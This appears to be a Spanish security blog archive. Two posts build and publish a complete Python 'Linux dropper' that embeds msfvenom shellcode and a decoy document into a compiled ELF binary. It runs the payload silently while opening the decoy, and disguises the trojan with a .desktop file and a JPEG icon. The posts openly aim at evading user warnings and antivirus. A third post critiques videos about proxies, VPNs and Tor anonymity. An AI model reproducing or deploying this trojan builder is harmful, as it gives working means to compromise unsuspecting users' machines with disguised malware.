lunes, 2 de noviembre de 2015

Mitos, Leyendas y Fantasías - Parte 2b

En el artículo anterior de esta serie, examinamos la famosa técnica del "executable dropper", usualmente empleada en Windows, pero adaptada para Linux, específicamente a la distribución Tails. En aquella demostración nos enfocamos meramente en el aspecto técnico de la implementación de este ataque, sin prestar demasiada atención a sus aspectos acompañantes de ingeniería social.

En consecuencia, recibimos algunos comentarios que objetaban principalmente dos puntos de nuestra prueba de concepto, ambas aplicables a la distribución Debian con LXDE:

1.- Al menos en otras distribuciones, al tratar de abrir nuestro troyano se desplegaban advertencias que indicaban que se está tratando de abrir un ejecutable. El sistema operativo es muy explícito en preguntar si el usuario está seguro de lo que está haciendo.
2.- El ícono ejecutable del troyano es una señal inconfundible para un usuario medianamente acostumbrado a usar cualquier distribución de Linux. En consecuencia, sólo "L-users" muy poco acostumbrados a usar Linux caerían en esta trampa.

Ambas objeciones tienen poco que ver con la técnica del "executable dropper" y más con la implementación de estos ataques de forma práctica (i.e. en el campo). Como es usual, estos detalles de campo se dejan por fuera de las pruebas de concepto por distintas razones, pero la principal es para no distraer la atención de la técnica demostrada.

Sin embargo, para aclarar estas dudas y para demostrar que estas pruebas de concepto se pueden hacer tan prácticas como se quiera, he realizado un video con la siguiente versión de mi "Linux_dropper". Esta versión está específicamente diseñada para evadir las dos señales objetadas en Debian con LXDE. Es importante agregar que las técnicas utilizadas para evadirlas en este ambiente específico no necesariamente funcionarían en cualquier otra distribución. Sin embargo, puedo asegurar, sin mucho temor a equivocarme, que siempre es posible lograrlo, no importa la distribución o ambiente específico tratado. Como siempre, pero sobre todo en esta profesión, con suficientes recursos y motivación, _todo es posible_. Espero que con esta demostración se pueda apreciar el verdadero alcance de esta técnica de una forma más apegada a cómo se llevaría a cabo este ataque en la vida real. Que disfruten de la nueva paranoia:




PD: Los elementos adicionales agregados al script anterior para lograr este nivel de ingeniería social se dejan como tarea al lector. Lo siento, "secrets of the trade" ;-).

PD2: Si, "secrets of the trade", pero para estar en linea con los amigos de Offensive Security: "I can be bribed, though".

Actualización: La demanda popular me convenció a publicar el código  de este dropper.
Advertencia: El código a continuación podría probablemente usarse de ejemplo para todo lo que *no* debe hacerse al programar. Como siempre, estas cosas son el producto de unos cuantos minutos de ocio que se juntan con un poquito de curiosidad. Aquí hay cualquier cantidad de oportunidad de mejora y hasta para hacerlo que funcione correctamente en casos generales. Pero a falta de tiempo para hacerlo y para no frenar al resto de Internet, aquí esta:

#! /usr/bin/python
import subprocess,sys

def get_host_bytes(f):
 res = ""
 with open(f, "rb") as f:
         byte = f.read(1)
         while byte != b"":
                 # Do stuff with byte.
                 res += str(ord(byte)) + ","
                 byte = f.read(1)
 return res

def execute_os(cmd):
 cmd_array = cmd.split()
 p = subprocess.Popen(cmd_array, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
 res, err = p.communicate()
 print err
 return res

if len(sys.argv) < 3:
 print "Usage: " + sys.argv[0] + " <.odt|.avi|.jpg|.*> "
 sys.exit(0)

flags = "-m32 -z execstack -fno-stack-protector"

if "x64" in sys.argv[2]:
 flags = "-m64 -z execstack -fno-stack-protector"

host_name = sys.argv[1]
bs = get_host_bytes(host_name)
se_binary = ".self_extracting_archive"
se_desktop = "Extract.both.files.on" + ".desktop"

#payload_cmd = "msfvenom -p windows/shell_bind_tcp -f c"
payload_cmd = sys.argv[2]
payload = execute_os(payload_cmd)

host_skel = '''#include <stdlib.h>
#include <stdio.h>

%s
unsigned char host[] = {%s};
unsigned char host_output[] = "/tmp/%s";
FILE * fp;
pid_t p;

int main(void){

 fp = fopen(host_output, "w");
 fwrite(host,1,sizeof(host),fp);
 fclose(fp);
 
 p = fork();
        if (p == 0){
                ((void (*)()) buf)();
        } else {
  system("xdg-open /tmp/%s");
 }

}
''' 

hh = host_skel % (payload,bs,host_name,host_name)
c_code = open("/tmp/x.c","w")
c_code.write(hh)
c_code.close()

# Icon=gnome-mime-image-jpeg for jpg
# TODO if jpeg then else
icon = "gnome-mime-image-jpeg"

dfile_skel = '''[Desktop Entry]
Version=1.0
Type=Application
Name=%s
Exec=bash -c '"$(dirname "$1")"/%s' dummy %%k/t
Icon=%s
'''

dfile_txt = dfile_skel % (host_name,se_binary, icon)

dfile = open(se_desktop,"w")
dfile.write(dfile_txt)
dfile.close()

cmd_array = ["gcc"] + flags.split() + ["-o", ".self_extracting_archive", "/tmp/x.c"]
p = subprocess.Popen(cmd_array, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
res, err = p.communicate()
print err

create_zip = "zip %s.zip %s %s" % (host_name, se_binary, se_desktop)
execute_os(create_zip)

delete_temps = "rm -f /tmp/x.c %s %s" % (se_binary, se_desktop)
execute_os(delete_temps)



lunes, 26 de octubre de 2015

En Windows o en Linux, el “hacking” es el mismo. (Mitos, Leyendas y Fantasías - Parte 2)


En el artículo anterior de esta serie argumentamos las razones por las que la supuesta vulnerabilidad de los sistemas Windows están basados más en sus operadores que en el sistema operativo en sí. Sin embargo, es difícil demostrar explícitamente este tipo de afirmaciones cuando hay tan pocos incentivos para los desarrolladores de sistemas de vulneración para desarrollar código ofensivo dirigido a atacar Linux, por ejemplo. Con la idea de ir un poco en contra de esta tendencia, decidí invertir una tarde para seleccionar alguna técnica de vulneración en Windows y ejecutarla en Linux, demostrando así que el hacking es igual de sencillo. No importa a quien se lo hagan.

La técnica ganadora fue la bien conocida técnica del “executable dropper.” Los programas que se utilizan para ejecutar esta técnica de ataque a veces son llamados “joiners” o “binders.” Todos estos términos son técnicamente incorrectos, sin embargo, la técnica es muy fácil de describir. La idea es crear un ejecutable que parezca un archivo completamente distinto y que pueda interesar a tu víctima. Una vez la víctima es convencida de “abrir” este troyano, el contenido esperado es mostrado, sin embargo, al mismo tiempo, el código malicioso es ejecutado silenciosamente. Con éste último, el atacante obtiene control total del equipo de su víctima sin que ésta tenga la más mínima sospecha. Como ejemplo de este ataque en Windows, hace poco ví un video bastante interesante:


Inspirados en este video, decidí diseñar mi solución para Linux con los siguientes requerimientos:
  1. Creación automática del ejecutable troyano.
  2. La ejecución del troyano debe desplegar el archivo original y al mismo tiempo el payload requerido por el atacante.
  3. La selección de la aplicación que finalmente abre el contenido legítimo debe hacerse de forma automática (como sucede en Windows).
  4. El payload debe ser arbitrario y debe poder integrarse con Metasploit.
  5. La interacción requerida por el usuario no debe ser mayor a hacer un doble click sobre el troyano, de la misma forma que sucede en el caso de Windows.
  6. La solución debe ser lo suficientemente flexible para poder modificar el ejecutable resultante y poder evadir soluciones antivirus fácilmente.
Para el primer punto, la decisión es muy fácil. Usando cualquier lenguaje de scripting, desde Kali linux tenemos todas las herramientas que necesitamos para la creación del binario final. Yo selecioné python, pero casi cualquier otro debe ser igual de efectivo. Ahora bien, para el binario final, podemos usar casi cualquier cosa también, sin embargo, yo decidí utilizar un ejecutable en format ELF para hacerlo lo más equivalente al caso de Windows. Es posible que selecciones de otros formatos tengan resultados iguales o incluso mejores, como veremos más adelante.

Para el segundo punto, la solución también es muy sencilla. El ejecutable simplemente debe hacer un “fork()” y ejecutar en el proceso hijo, nuestro payload. Para ésto, utilizamos la bien conocida técnica de "cast to a function". Esto implica que debemos recordar compilar sin las contramedidas de stack no ejecutable, etc. Mientras tanto, en el proceso padre, ejecutamos las instrucciones que sean necesarias para desplegar el archivo original. El esqueleto de nuestro programa en pseudo-C sería más o menos así:

#include <stdio.h>
#include <stdlib.h>

%s
unsigned char host[] = {%s};
unsigned char host_output[] = "/tmp/%s";
FILE * fp;
pid_t p;

int main(void){

   fp = fopen(host_output, "w");
   fwrite(host,1,sizeof(host),fp);
   fclose(fp);

   p = fork();

   if (p == 0){
      ((void (*)()) buf)();
   } else {
      system("xdg-open /tmp/%s");
   }
}

en donde tenemos que reemplazar esos %s con los siguientes strings:

% (payload,byte_array_with_original_data_file,host_file_name,host_file_name)

La variable “payload” es sencilla de poblar, simplemente usamos el resultado de msfvenom con formato C (opción -f c). La variable “byte_array_with_original_data_file” no es más que la representación en bytes del archivo original, al que queremos “troyanizar.” Finalmente, la variable “host_file_name” no es más que el archivo original, que lo usamos tanto para el nombre final de nuestro troyano, como para obtener los bytes que estarán embebidos en nuestro ejecutable final.

Despues de armar este string con python, lo único que hace falta es
compilarlo con las “flags” adecuadas y listo. Tenemos nuestro propio “binder” para Linux que sirve para cualquier tipo de archivo. Esto quiere decir que podemos “troyanizar” archivos .doc, .pdf, .mp3, .mp4, .xls, .odt, o cualquier otro que se nos ocurra - o que todavía no exista! (Back to the future). Por supuesto, hace falta darse cuenta de algunos detalles adicionales que son propios de la experiencia de campo, pero eso lo dejamos como ejercicio para el lector.

El tercer requerimiento es cumplido haciendo una simple llamada al sistema con el comando: “xdg-open.” Este comando selecciona la aplicación que por defecto se encarga de abrir aplicaciones de este tipo y simplemente la ejecuta. El uso de este comando se puede ver en nuestro esqueleto de pseudo-C mostrado más arriba.

El cuarto requerimiento es solucionado muy fácilmente haciendo uso del formato de salida en C de msfvenom. Despues de almacenar nuestro payload en la variable “buf”, sólo queda hacer un cast a una función y ejecutarla. Ésto se puede ver en nuestro primer %s (placeholder) de pseudo-C presentado más arriba.

Finalmente, los últimos dos requerimientos se ganan de forma gratuita al haber seleccionado cuidadosamente las técnicas descritas anteriormente.

Decidimos probar como primera víctima a Tails, la distribución de Linux enfocada a la privacidad de sus usuarios. Sin embargo, la misma técnica funciona exactamente igual en casi cualquier otra distribución de Linux. A continuación, un video, que es mucho mejor que mil palabras.


PD: Si quieres ayudarme a probar mi script “linux_dropper.py” en otras distribuciones no basadas en gnome, escribeme aquí. Gracias! :D


viernes, 31 de octubre de 2014

Tor, Proxies y demás imprecisiones.

Tenía tanto tiempo sin escribir en mi blog que ya me estaba poniendo nostálgico. Sin embargo, hoy se presentó una oportunidad interesante y decidí separar un poquito de tiempo de mi apretada agenda (la verdad es que pude arreglar el aire acondicionado más rapido de lo que tenía programado, sólo se daño el capacitor esta vez) y escribir un poco sobre unos temas que veo recurrentemente maltratados en la Internet hoy en día: Tor, privacidad, seguridad, anonimato, etc.

Como siempre, el twit que lo inició todo:

12h12 hours ago

El contexto es más o menos el siguiente: al igual que muchas personas últimamente, alguien se puso a comentar sobre Tor y su “privacidad” en video. Este primer video estaba, en efecto, lleno de impecisiones. Como respuesta a estas imprecisiones, otra persona, a motu-propio, decidio proactivamente “corregir” los errores de este primer video en otro video. Ironicamente, este segundo video tambien! Contenía varias imprecisiones, errores y nociones equivocadas que poco contribuian a aclarar el oscuro panorama que habia dejado el primer video. Mi comentario a toda esta polémica, como es usual, fue hacia motivar a la gente a estudiar más en profundidad señalando que ambos videos tenían muchas imprecisiones. Usualmente dejo que las personas que estan aprendiendo se esfuerzen un poco por su cuenta para aprender y profundizar (TRY HARDER), y no doy comentarios donde no me los han pedido. Sin embargo, la persona que publicó el segundo video me pidio educadamente que le indicara las imprecisiones en las que habia incurrido en los comentarios de su blog y pues con ánimos de ayudar a los principiantes que piden ayuda, decidí escribir este post. En los comentarios de su blog era imposible describir la cantidad de imprecisiones del video.

El link donde pueden observar ambos videos se encuentra aqui.

Sin más, comenzamos con los errores del segundo video.

Definición de proxy. En el segundo video no se dá una definición de proxy directamente, sin embargo, en el minuto 1:23, Dedalo (el autor del segundo video) afirma que el “señor define”

1:23 – De manera correcta lo que es un proxy.

Y no iba a comentar nada del primer video porque no me lo han pedido, pero como ésto es una referencia directa, me veo obligado a citar el primer video en donde se define un proxy como:

1:12 - "Software que permite realizar una salida a Internet con ciertas politicas."

Para Dedalo, esta es una definición “correcta” de lo que es un proxy. Nada más alejado de la realidad. En realidad un proxy es un sistema que actua como intermediario entre dos entidades que se comunican. Es decir, la noción de proxy es mucho más general que lo que ambos autores de los videos tratan de comunicar. En redes de computadoras, incluso se puede hablar de distintos tipos de proxies dependiendo de los protocolos de comunicacion para los que actúan como intermediarios y la forma en que funcionan. De esta manera, existen proxies HTTP (que es lo que ambos autores parecen estar hablando), pero hay muchos otros más. De hecho, muchos proxies no tienen necesariamente ni siquiera la función de proveer privacidad, ni “salida a Internet” en lo absoluto. Hay proxies internos que proveen servicios de intermediación para recursos internos de una compañia que nunca “salen a Internet”. Hay otros proxies, de hecho, que en lugar de “salir a Internet”, mas bien “entran de Internet”, se conocen como “proxies reversos” que permiten aislar los servidores de contenido del tráfico (posiblemente malicioso) de Internet. Esto es nada más proxies HTTP, pero todavía existen proxies para muchos otros protocolos. Es mas, incluso hay proxies ARP! Cuyo tráfico jamas se supone que deba salir a Internet, pues sirve para interconectar redes locales, etc. En otras palabras, podemos crear proxies para cada una de los protocolos en las capas del modelo de interconexión de sistemas abiertos (OSI). Como tarea, para Dedalo, revisa cada una de las capas del modelo OSI, y selecciona un protocolo, el que mas te guste. Busca un proxy para ese protocolo, y veras la gran cantidad de proxies que existen y en consecuencia te daras cuenta lo limitada e incorrecta fue tu “definición de proxy” transitiva de la definición provista en el primer video.

Ahora bien, en el minuto 2:17, Dedalo trata de explicar como provee “un anonimato” un “proxy” diciendo lo siguiente:

2:17 -  Si bien el proxy sabe que vengo desde mi PC o sea desde mi IP, la WEB no sabe que estoy vieniendo desde mi PC... ahí hay un “anonimato”.

Tomando en cuenta las nociones corregidas sobre la definición de “proxy” que discutimos anteriormente, al referise a una intermediación entre su PC y la “WEB”, asumimos que Dedalo en realidad quería referirse a un “proxy HTTP” y no a un “proxy” en terminos generales. La diferencia sobre el tipo de proxy aquí es muy importante porque tiene incidencia directa sobre la forma cómo funciona y si provee o no "un" anonimato (o dos o tres o ninguno? #lol).

En todo caso, la tarea para Dedalo, es averiguar cómo funcionan los proxies HTTP, su protocolo y demás; en especial algo que se llama: “X-Forwarded-For” (gracias @). Éste es un encabezado que muchos proxies HTTP agregan a cada petición para la que actúan como intermediarios. En este encabezado se agrega la dirección IP original para la cual se está haciendo la intermediación. En otras palabras, a pesar de que la “WEB” en el diagrama de Dedalo sólo observa una conexión desde la IP del proxy HTTP, si éste está configurado para agregar el encabezado X-Forwarded-For, lo único que tiene que hacer la “WEB” de Dedalo es mirar este encabezado HTTP y eliminar el “un anonimato” que Dedalo creía que tenía.

Ahora bien, hay otros proxies HTTP que se “alegan” anonimos. De hecho, muchas listas son compiladas por gente “acomedida” (para usar los mismos términos que usan los autores de los videos) que supuestamente verifican la “calidad de anonimato” de estos proxies. De esta forma, se publican listas con proxies “altamente anonimos”. Lastimosamente, muchas de estas “verificaciones” son tan pobres / mediocres que el único chequeo para declarar un proxy HTTP como “anonimo” es que no incluyan el encabezado X-Forwarded-For! Si se presta atención, creo que es obvio por qué este chequeo es sumamente mediocre. El servidor proxy HTTP puede agregar cualquier otro encabezado, incluso utilizar cualquier otro tipo de "side-channel" para pasar esta información a la “WEB” final. Todo esto sin contar, por supuesto, con simplemente almacenar el record de todas las peticiones y cuando el responsable de la “WEB” lo solicite, simplemente proveer la dirección IP original. En conclusión, NO, un proxy HTTP como el que aparece en el diagrama de Dedalo, a menos que tengas control directo tu mismo sobre él, difícilmente podría proveerte algún tipo de anonimato confiable. 
En la medida que alguien más tenga capacidad para configurar el proxy HTTP que usas, la privacidad que este proxy HTTP te puede proveer está limitada a la que la persona que lo configura desee darte. Por como están las cosas hoy en día en la Internet, puedo decir, sin mucho temor a equivocarme, que la privacidad que los demás quieren darte es bien poquita. Es mas, no me sorprendería nada si agencias gubernamentales ponen proxies que “parecen” anonimos pero que en realidad son trampas caza-bobos para dar un falso sentido de privacidad en donde no debería haber ninguno o muy poco.

Adicionalmente, en caso que Dedalo no se haya estado refiriendo a un proxy HTTP (como asumimos inicialmente), sino a cualquier otro proxy, por ejemplo un proxy SOCKS, para comunicarse con su “WEB”, el hecho general de que el proxy siempre sabe el verdadero origen de la comunicación permite demostrar la misma “falta de privacidad” en estas otras situaciones a menos que uno mismo tenga control sobre la configuración de dicho servidor.

Ahora bien, el siguiente punto que hace Dedalo es decir que usar una VPN “comprada” ya no puede ser anonima, puesto que:

4:03 - es un producto que “yo” estoy comprando.

Este es un clásico ejemplo de decir algo que es correcto, pero por las razones incorrectas. Muy ejemplarizante. Dedalo correctamente intenta apuntar que si “yo” pago por el servicio de la VPN de una forma que pueda ser rastreada hacia mí, pues, en efecto, mi anonimato se ve limitado. El argumento es que la “WEB” puede averiguar (whois? Ehem, no necesariamente, pero no voy a ser tan picky) cual es la IP de la VPN, quien es el responsable de su administración y simplemente preguntar quien es el que pagó por este servicio, eliminandonos toda posibilidad de anonimato. Aunque correcto, esto es un escenario de pago con muy poquita imaginación. Por ejemplo, puedo minar alguna criptomoneda alternativa de forma muy barata, comprar bitcoins en un exchange como btc-e (donde no hay ninguna necesidad de proveer tu identidad), y pagar con bitcoins cualquier servicio de VPN que los acepte (los cuales hay un monton). Por cierto, tarea para Dedalo, averiguar las razones por las que una criptomoneda minada es sumamente anonima, no tanto así una comprada en algún exchange en donde tendría que revelar mi identidad. Ahora bien, cuando la “WEB” de Dedalo venga a preguntar quien pagó por el servicio de VPN, el proveedor de servicio con mucho gusto le puede dar una información como: 17ada...d20 (BTC Address). Si el comprador de la VPN usa correctamente su cliente BTC, no hay forma de obtener su identidad a partir del hecho que haya “adquirido un producto que EL ha comprado y por tanto no puede ser seguro”. Hay muchas formas hoy en día de comprar anonimamente muchas cosas. Sobre todo cuando se trata de servicios como VPNs.

Sin embargo, usar una VPN paga, aún comprandola de la forma descrita anteriormente, NO provee un nivel de anonimato muy distinto al uso de un proxy HTTP como el que comentamos en el punto anterior. De hecho, el principal riesgo al usar una VPN, paga o no, es el mismo que al usar el proxy HTTP. Explicitamente, el riesgo es que el administrador de la VPN esté almacenando tu información de origen y que la provea a quien se la pida en algún momento dado. De nuevo, a menos que uno mismo tenga control sobre el servidor VPN, no hay forma de confiar aceptablemente en la privacidad que te puedan proveer ninguna de estas dos soluciones por si solas.

Llegamos a Tor. En el minuto 4:36 Dedalo provee una definición de Tor como:

4:36 – Tor ... No es un proxy, es una RED de proxies.

Lamentablemente, no. Si hablamos de “Tor”, es más preciso hablar que es un protocolo que blah, blah... Si hablamos del “PROYECTO Tor” es más preciso hablar de un proyecto para el desarrollo de una red de comunicación distribuida superpuesta sobre la Internet con objetivos bien precisos sobre la integridad y la privacidad de su contenido, blah, blah... etc. La definición de Dedalo no calza en ningún lado! De repente si hablaramos de la “RED Tor”, pero ni siquiera, realmente he tratado muy fuertemente encontrar algo que este relacionado con “Tor” y que pueda ser definido tan simplemente como “una red de proxies” y me ha sido imposible. En todo caso, los nodos que participan en la red Tor en efecto tienen cierta funcionalidad de proxies SOCKS (tarea para Dedalo, averiguar sobre el protocolo SOCKS y como se diferencia del protocolo HTTP y cuales son las caracteristicas del protocolo SOCKS implementadas en los nodos Tor y cuales caracteristicas NO están implementadas), pero de ninguna manera es la única funcionalidad que tienen presente. En consecuencia, definir a la red Tor como una red de proxies es una terrible sobre-simplificación, en el mejor de los casos. Como ejemplo de otras funcionalidades aparte de la de proxy, podemos citar resolución DNS para dominios .onion, puntos rendevous para servicios ocultos, y un gran etcetera. Mas tarea para Dedalo, averiguar toda la funcionalidad adicional que se encuentra presente en un nodo Tor por defecto.

Llegamos al minuto 5:00 y ahora es que faltan correcciones, no estoy seguro que pueda destinar tanto tiempo más a esto, asi que voy a tratar de sacrificar las correcciones explícitas para abarcar mayor cantidad de puntos.

5:00 – Explicacion de cómo funciona Tor.

Se presenta un diagrama de una cadena de 3 nodos que es la configuración por defecto de muchos clientes Tor. La longitud de esta cadena es en realidad parametrizable, y dependiendo de la forma en que usas Tor puede ser más conveniente cadenas de otras longitudes. Incluso, en ciertas situaciones, una cadena de un sólo salto es mejor que una de 3, pero necesitas saber y entender muy bien lo que estás haciendo. En consecuencia, decir que “Tor funciona así” como axioma, es simplemente incorrecto. Tarea para Dedalo, averiguar en qué situación es mejor utilizar una cadena de un sólo salto en lugar de tres.

En el minuto 5:38 se hace una anotación importante:

5:38 – Mi proveedor de internet empieza a escuchar a todos los sitios donde yo me conecto, para mi proveedor de Internet yo estoy yendo a un sitio en Francia.

Y se continua diciendo sobre las siguientes conexiones a los demás proxies en la cadena de 3 nodos Tor. Aquí hace falta apuntar algo muy importante, tu proveedor en efecto no sabe necesariamente o inmediatamente que te estas conectando en realidad a tu destino en Colombia, pero puede facilmente averiguar que te estas conectando a un nodo de “entrada” de la red Tor. Aún si usas un nodo de entrada no indexado, tu proveedor ISP puede verificar, interactuando directamente con el nodo Tor en francia, que en efecto la comunicación que estas llevando a cabo, tú Dedalo, es parte de la red Tor. Tarea para Dedalo, averiguar cómo se hace esto :-). Entonces a pesar que Dedalo, entediblemente, piensa que tu proveedor sólo sabe que te conectaste a Francia, en realidad ésto es incorrecto. Tu proveedor puede saber más que eso. Explicitamente, sabe además que estás usando Tor y puede medir la cantidad de tráfico que estás introduciendo a la red, el momento en que lo haces, etc. La importancia de ésto será evidente más adelante cuando hablemos de correlacionar estos datos con otros.

 Similarmente, en el minuto 6:18, se comete el mismo error diciendo:

6:18 – Para el sitio en Colombia yo estoy viniendo de Ucrania. - Y todavía pregunta, en tono “challenging” - Yo quisiera que me expliquen aquí donde no hay anonimato. #lol, really? Here it goes.

De nuevo, igual que en el punto anterior, aquí hace falta darse cuenta que para el sitio en Colombia, no sólo vienes de Ucrania, sino que también vienes de un nodo de salida de la red de Tor. De hecho, aquí es peor! Aquí el sitio de colombia puede estar seguro! Que vienes de un nodo Tor sin necesidad de interactuar activamente con el nodo Tor. Tarea para Dedalo, estudiar el protocolo Tor y aprender por qué existe esta asimetría entre nodos de entrada y nodos de salida.

La pregunta mayeutica para Dedalo que responde a su muy grosero “Yo quiero que me expliquen aquí donde no hay anonimato” es simplemente la siguiente: Que pasa si alguien puede observar, analizar y correlacionar el tráfico de los dos últimos puntos descritos en este artículo?

Este es en efecto, el ataque más importante (y conocido) de la red Tor, que ni siquiera lo voy a explicar yo, lo dejaré a la gente de Tor, pero si se ha prestado atención a las dos explicaciones anteriores, en especial a los puntos para los que Dedalo no pudo identificar su importancia, entonces será muy fácil entender el siguiente punto sacado directamente del FAQ de Tor:

https://www.torproject.org/docs/faq.html.en#AttacksOnOnionRouting

What attacks remain against onion routing?

As mentioned above, it is possible for an observer who can view both you and either the destination website or your Tor exit node to correlate timings of your traffic as it enters the Tor network and also as it exits. Tor does not defend against such a threat model.

No me voy a molestar en traducir esto, si quieren pueden usar Google Translate. Sin embargo, quiero enfatizar que a diferencia de lo que mucha gente dice, Tor no te puede proteger adecudamente si no entiendes cómo funciona. Hay muchos otros casos en donde no es necesario observar estos dos puntos, incluso una seleccion incorrecta de nodos intermedios te puede traer problemas (Más tarea para Dedalo). En consecuencia, para usar Tor correctamente se hace necesario también un control cuidadoso de la selección de nodos en la cadena que permita oscurecer suficientemente las posibles correlaciones de tiempo y volumen del tráfico que estás generando. Como siempre, la verdad es mucho más complicada de lo que parece.

Por cierto, si alguien todavía está pensando que para una organización con respaldo gubernamental le es muy dificil monitorear los dos puntos descritos anteriormente, creo que no ha estado atento a las revelaciones de Snowden.

Quiere decir que todo está perdido? No. En lo absoluto, sin embargo, espero que con todas estas reflexiones haya ayudado a entender a la gente común y corriente que si pretende simplemente bajarse el TBB y esperar que puede hacer cualquier cosa sin consecuencias sobre su identidad, realmente se equivoca grandemente. Obviamente si sabes muy bien lo que estas haciendo, puedes hacer que tu contrincante requiera muchisimos recursos para descubrir quien eres, tanto así, que es posible que tu contricante sea disuadido de perseguirte pues la recompensa de encontrarte eventualmente llegaría a ser menor a los recursos que tendría que gastar en hacerlo. Ésta es la única verdad que se puede asegurar sobre el anonimato y es el único anonimato que alguien jamas podrá asegurar. El anonimato perfecto, al igual que la seguridad perfecta, no existe. Todo es cuestión de cuantos recursos me va a costar la defensa, el ataque y la recompensa.

Continuando, en el minuto:

7:07 – Tor te da anonimato, te ayuda a ser anonimo en la red.

Aunque es tentador otorgarle un perdon misericordioso a lo que se quiere decir en la anterior frase, lamentablemente, ésto también es impreciso. Es cierto que el protocolo Tor ha sido construido con muchas caracteristicas que buscan conseguir anonimato. Lamentablemente, estas caracteristicas también requieren de ciertas condiciones para que estas caracteristicas provean la funcionalidad esperada. Por ejemplo, supongamos que el grupo de criminales informáticos Lulzsecperu quiere atacar la red del PCM. Para esto pretenden usar Tor porque piensan que, como dice Dedalo, “Tor da anonimato”. Imaginemos (irrealmente, pero sirve para hacer el punto clave del anonimato que realmente provee Tor), que la única persona que usa Tor en el Perú es Dedalo. El PCM fácilmente podría detectar que sus atacantes utilizaron la red Tor. Si la única persona que usa Tor en el Peru fuera Dedalo, de qué le sirvio utilizar Tor? Despues de hacer el perfil criminalístico y otros indicadores (no necesariamente cibernéticos) de los atacantes de la red PCM, como mínimo, la policia militar tendría causa probable para visitar la casa de Dedalo y revisar sus equipos, si Dedalo en realidad hubiera llevado a cabo estos ataques, de que le sirvio utilizar Tor? De absolutamente nada. Aquí viene el punto clave que quiero hacer: El anonimato que te da Tor, no te lo da tanto por su protocolo y su criptografía y demás, si no por el hecho que trata de confundir tu tráfico con el de los demás usuarios, asumiendo que no hay ninguna entidad omnipresente que puede escuchar todo el tráfico de toda la Internet, todo el tiempo. Es por esta razón que muchos “zealot power users” de Tor son tan vehementes en decirte que uses Tor (tienen una agenda oculta, propia), y te afirman y confirman que es super “seguro” (a pesar de que no lo es tanto como hemos visto en el FAQ, y por muchas otras razones, que para explicarlas se necesitarían muchísimos más posts, mucho mas largos). En realidad el verdadero interés de muchos de estos usuarios es simplemente no quedarse siendo los únicos que están usando Tor. Para un miembro de una comunidad pequeña, usar Tor, de hecho, es CONTRAPRODUCENTE, puesto que basicamente le pinta una diana en la espalda. Particularmente, pienso que es sumamente inmoral por parte de estas personas andar engrandeciendo maliciosamente los poderes de anonimato que provee Tor sin advertir sobre sus riesgos simplemente porque tienen sus propios intereses, i.e. el de protegerse ellos mismos a costa de los más desposeidos en términos de conocimiento técnico. A estos tipos no les interesa que te metas en lios porque no te advirtieron que debías usar Tor de forma cuidadosa. Lo más irónico es que ni siquiera la gran mayoría de estos “power users” se ha tomado la molestia de entender en profundidad el protocolo para hablar con propiedad sobre su privacidad o la falta de ella. Lamentable, pero cierto.
 
8:07 – Está cifrada y no se puede leer.

Este tipo de afirmaciones son temerarias. El riesgo obvio aquí es que si el generador de números aleatorios no es bueno, o si, para llevarlo a nuestros tiempos, alguien ha envenenado la implementación de los algoritmos de generación de números aleatorios, por más cifrada que esté esta información, los responsables de haber hecho este envenenamiento podrán leer esta información sin ningún problema. No viene al caso de lo que quiere ejemplificar con el tema que habló el expositor del primer video, pero es sin embargo, una afirmación al menos imprecisa. Paranoia? Para ejemplo, un botón: http://www.theregister.co.uk/2013/09/05/nsa_gchq_ssl_reports/

9:06 – No todos los exit nodes les van a robar la información, de hecho la mayoría van bien.

Esta es una de las peores afirmaciones que he escuchado en toda mi vida. La peor recomendación que se le puede dar a alguien es: “confia en los exit nodes”. Por el contrario, lo que se debería asumir, es que TODOS los exit nodes son maliciosos, y en consecuencia usar SIEMPRE HTTPS desde tu PC, como lo dice (imprecisamente) Dedalo. La manera correcta de decirlo es que hay que proteger SIEMPRE TODO el tráfico, no solo el HTTP, desde el punto de origen. De hecho, hay que asumir que todo el tráfico que sale por los exit nodes puede ser espiado, pero PEOR AUN, puede ser MODIFICADO. Si leen mi TL de twitter, pueden encontrar al menos un caso de un exit node ruso que estaba modificando binarios de forma transparente al vuelo sin que los usuarios se dieran cuenta. Las consecuencias de un ataque como éste son tarea para Deadalo, ésta es la tarea más facil de todo el post probablemente. Adicionalmente, la afirmación sobre que “la mayoría” de exit nodes "van bien" (no son maliciosos?), en general, no sólo es atrevida, sino que es una de las peores prácticas que se puede asumir. Es mas, aún si no usas Tor, hoy en día, tal como estan las cosas, si no te preocupas cada vez que visitas una página web sin usar TLS, realmente no estas prestando atención a lo que esta pasando alrededor tuyo. Tarea para Dedalo, investigar cuales son los peligros de usar HTTP en lugar de HTTPS, aún cuando no estas usando Tor.

9:41 – Si el señor sabe como decifrar este tráfico, que lo comparta, porque sería una brecha de seguridad en Tor...

Ok, este comentario de verdad es de alguien que no sabe donde está parado. Para comenzar, más arriba yo dí una forma explicita (bien conocida y descrita en todas partes) de cómo descifrar ese tráfico, que no tiene nada que ver con una brecha en Tor, sino con la forma en que se genera el material aleatorio en que esta basada la implementación de los algoritmos criptográficos que usa la red Tor. Así que descifrar ese tráfico, como dice Dedalo, no quiere decir necesariamente una brecha en Tor. En realidad ésto es así en muchas situaciones, las vulnerabilidades vienen de componentes secundarios y no del componente principal que usualmente recibe el mayor escrutinio y evaluación. Pero adicionalmente! Y mucho más importante, si alguien sabe de una forma de vulnerar catastróficamente la red Tor que no sea bien conocida y bien documentada, en realidad crees que le puedes pedir a alguien “que lo diga”? LOL. O sea, en serio, quien en su sano jucio haría algo así? De repente hace 15 años que viviamos en una utopia naciente de donde existía el “full disclosure”, todavía, lo encontraría más razonable. Hoy en día la gente hace millones y millones de dolares en un mercado de vulnerabilidades que se mueve entre compradores con mayor y menor ética. Los que no se acoplan a esta realidad, son castigados con distintos grados de severidad! Con sus honorables excepciones, la gran mayoría de vulnerabilidades que se “dicen publicamente” son las de menor sofisticación y de menor importancia. Las que son más sofisticadas solamente se publican una vez que los grandes compradores de vulnerabilidades las han aprovechado al máximo y ya no se pueden abusar más. Compran, venden, re-venden, con esos programas de intermediación, y finalmente, alimentan al populacho con el desecho que no sirve para casi nada más. En consecuencia, a menos que la solicitud haya sido netamente retórica, particularmente, la encuentro de muy mal gusto, por su increible ingeniudad, casi criminal. Sólo voy a mencionar un caso que ejemplifica lo que digo: Jack Barnaby. Tarea: Buscar lo que paso, lo que se dijo, y lo que no se dijo de este caso.

Y bueno, con ésto cierro este largo post, despues de una larga ausencia en la escritura de este blog, con unos comentarios parecidos a los de Dedalo:

